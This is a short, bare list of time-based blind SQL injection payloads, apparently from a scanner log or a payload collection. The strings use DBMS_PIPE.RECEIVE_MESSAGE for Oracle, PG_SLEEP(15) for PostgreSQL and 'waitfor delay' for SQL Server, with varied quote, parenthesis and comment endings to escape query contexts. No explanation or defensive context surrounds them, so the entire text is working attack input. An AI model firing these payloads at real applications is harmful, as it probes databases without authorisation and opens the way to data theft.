555DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

ixHrpF4n)) OR 258=(SELECT 258 FROM PG_SLEEP(15))--

NYEVO9Y5) OR 889=(SELECT 889 FROM PG_SLEEP(15))--

xzTdIqF5 OR 229=(SELECT 229 FROM PG_SLEEP(15))--

-1)) OR 137=(SELECT 137 FROM PG_SLEEP(15))--

-5) OR 453=(SELECT 453 FROM PG_SLEEP(15))--

-5 OR 110=(SELECT 110 FROM PG_SLEEP(15))--

yUmMTT1C; waitfor delay 0:0:15 --

1 waitfor delay 0:0:3 --

1 waitfor delay 0:0:15 --